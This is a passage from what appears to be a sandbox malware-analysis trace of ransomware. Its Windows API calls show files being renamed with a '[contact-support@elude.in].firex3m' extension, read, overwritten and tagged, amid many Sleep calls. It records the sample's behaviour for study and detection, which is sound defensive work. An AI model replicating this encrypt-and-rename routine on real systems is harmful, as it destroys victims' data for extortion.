Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF") returned 1 [0275.341] GetProcessHeap () returned 0x630000 [0275.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b00) returned 0x6fe3bb0 [0275.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ravie.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0275.350] CloseHandle (hObject=0x6c8) returned 1 [0275.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ravie.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ravie.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x122b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAVIE.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RAVIET~1.FIR")) returned 0x6d53c0 [0275.398] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0275.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\ravie.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0275.398] GetProcessHeap () returned 0x630000 [0275.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0275.398] GetProcessHeap () returned 0x630000 [0275.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7473d70 [0275.399] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.399] ReadFile (in: hFile=0x6c8, lpBuffer=0x72f51a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 39 os_tid = 0x378 [0067.195] Sleep (dwMilliseconds=0x1) [0067.441] Sleep (dwMilliseconds=0x1) [0067.560] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.827] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.395] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.540] Sleep (dwMilliseconds=0x1) [0068.703] Sleep (dwMilliseconds=0x1) [0068.742] Sleep (dwMilliseconds=0x1) [0068.797] Sleep (dwMilliseconds=0x1) [0068.835] Sleep (dwMilliseconds=0x1) [0068.889] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.981] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.203] Sleep (dwMilliseconds=0x1) [0069.244] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.373] Sleep (dwMilliseconds=0x1) [0069.440] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.609] Sleep (dwMilliseconds=0x1) [0073.757] Sleep (dwMilliseconds=0x1) [0073.935] Sleep (dwMilliseconds=0x1) [0074.044] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.909] Sleep (dwMilliseconds=0x1) [0075.003] Sleep (dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.102] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.155] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.983] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.091] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.565] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.705] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.767] Sleep (dwMilliseconds=0x1) [0078.789] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.899] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.102] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.528] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.033] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.694] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.153] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.089] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.339] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.807] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.957] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.181] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.701] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1049\\eula.rtf", len=0x23 | out: pbstr=0x333ff7c*="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 1 [0091.701] GetProcessHeap () returned 0x630000 [0091.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12f8 | out: hHeap=0x630000) returned 1 [0091.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0091.719] CloseHandle (hObject=0x6cc) returned 1 [0091.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.719] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.720] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d4e40 [0091.720] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0091.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0091.720] GetProcessHeap () returned 0x630000 [0091.720] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x709ac78 [0091.721] GetProcessHeap () returned 0x630000 [0091.721] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a60a8 [0091.721] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.721] ReadFile (in: hFile=0x6cc, lpBuffer=0x709ac78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709ac78*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0096.993] GetProcessHeap () returned 0x630000 [0096.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0096.994] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.994] WriteFile (in: hFile=0x6cc, lpBuffer=0x70a60a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a60a8*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0096.994] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.994] WriteFile (in: hFile=0x6cc, lpBuffer=0x70b14a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b14a7*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0096.994] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.994] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0096.994] CloseHandle (hObject=0x6cc) returned 1 [0098.608] GetProcessHeap () returned 0x630000 [0098.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a60a8 | out: hHeap=0x630000) returned 1 [0098.608] GetProcessHeap () returned 0x630000 [0098.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709ac78 | out: hHeap=0x630000) returned 1 [0098.609] GetProcessHeap () returned 0x630000 [0098.609] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0098.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0098.609] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xb9d85a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd4dc, dwReserved0=0xc1c7496, dwReserved1=0x709ac70, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5240 [0098.609] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0098.609] Sleep (dwMilliseconds=0x1) [0100.222] Sleep (dwMilliseconds=0x1) [0101.262] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Boot\\Fonts\\wgl4_boot.ttf", len=0x1b | out: pbstr=0x333ff7c*="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 1 [0101.262] GetProcessHeap () returned 0x630000 [0101.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679240, Size=0x44) returned 0x679330 [0101.262] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.524] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.187] Sleep (dwMilliseconds=0x1) [0103.278] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Boot\\zh-HK\\memtest.exe.mui", len=0x1d | out: pbstr=0x333ff7c*="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 1 [0103.281] GetProcessHeap () returned 0x630000 [0103.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0103.297] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.297] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0104.906] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", len=0x33 | out: pbstr=0x333ff7c*="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 1 [0104.906] GetProcessHeap () returned 0x630000 [0104.906] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x10) returned 0x6b1250 [0104.906] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0104.906] CloseHandle (hObject=0x674) returned 1 [0104.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.948] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.949] 